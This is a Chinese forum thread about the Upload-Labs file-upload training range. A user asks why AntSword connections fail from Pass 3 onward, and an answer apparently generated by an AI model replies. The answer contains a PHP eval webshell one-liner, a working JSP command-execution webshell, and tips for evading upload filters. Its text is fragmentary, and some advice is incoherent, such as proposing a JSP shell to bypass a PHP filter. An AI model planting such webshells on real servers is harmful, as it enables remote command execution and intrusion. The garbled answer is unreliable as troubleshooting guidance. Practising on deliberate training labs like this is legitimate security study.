
哪位哥知道upload的pass3往后用蚁剑连接但返回数据为空是为什么吗?pass1,2都没问题
下午好🌅🌅🌅
本答案参考通义千问
你提到的 Upload-Labs 是一个用于练习文件上传漏洞的靶场平台,其中 Pass3 及之后的关卡可能存在更复杂的过滤机制。你提到在 Pass3 及之后使用 蚁剑(AntSword) 连接时返回数据为空,而 Pass1、Pass2 没问题,这可能是由于以下原因造成的。
/var/www/html/ 或 /upload/。.jpg、.png 等图片格式。.php 文件,服务器也可能将其重命名或拒绝上传。<?php 或 eval 等关键字,导致文件被拦截。检查上传路径和文件位置
/var/www/html/upload/
http://target.com/upload/yourfile.php
修改上传文件名与后缀
1.jpg 或 1.png,并确保其内容不被过滤。.php 文件改名为 .jpg,但内容仍然是 PHP 代码。修改上传文件内容以绕过过滤器
<?php 开头,可以使用:
<?php eval($_POST['cmd']); ?>
改为:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
}
%>
(适用于 JSP 文件)
检查蚁剑配置
http://target.com/upload/
尝试其他工具或方法
curl 或 Postman 发送 POST 请求上传文件。查看服务器日志
/var/log/apache2/access.log
/var/log/nginx/access.log
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$target_dir = "upload/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// 检查文件是否存在
if (file_exists($target_file)) {
echo "文件已存在.";
$uploadOk = 0;
}
// 允许的文件类型
if ($imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "png" && $imageFileType != "gif") {
echo "只允许上传 JPG、JPEG、PNG 和 GIF 文件.";
$uploadOk = 0;
}
// 尝试上传
if ($uploadOk == 0) {
echo "文件上传失败.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "文件 " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " 已上传.";
} else {
echo "文件上传失败.";
}
}
}
?>
注意:以上代码仅用于学习和测试目的,不得用于非法用途。
| 原因 | 解决方案 | |------|----------| | 上传路径错误 | 确认文件在 Web 根目录下 | | 文件名/后缀被过滤 | 修改文件名和后缀 | | 文件内容被过滤 | 修改文件内容避免触发规则 | | 蚁剑配置错误 | 检查 URL 和 WebRoot 配置 | | 服务器安全策略 | 查看日志,尝试其他工具 |
如果你能提供具体的上传页面代码或报错信息,我可以进一步帮你定位问题。